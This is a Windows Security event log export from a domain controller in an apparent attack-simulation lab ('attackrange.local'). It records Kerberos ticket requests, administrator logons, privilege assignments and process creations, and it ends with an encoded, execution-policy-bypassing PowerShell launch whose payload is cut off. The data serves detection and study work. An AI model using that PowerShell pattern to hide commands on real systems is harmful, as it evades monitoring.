-Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251571 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251570 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251569 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A6C7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251568 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A6C7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251567 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A6C7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251566 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251565 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251564 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251563 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A451 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251562 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138E21 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251657 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E94A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251656 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13E94A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64544 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251655 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E94A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251654 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E8E9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251653 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13E8E9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64543 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251652 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E8E9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251651 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E883 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251650 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13E883 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64542 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251649 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E883 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251648 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E822 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251647 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13E822 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64541 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251646 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13E822 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251645 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13E492 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251644 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13E492 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251643 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251642 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251641 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251640 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdac - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251639 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 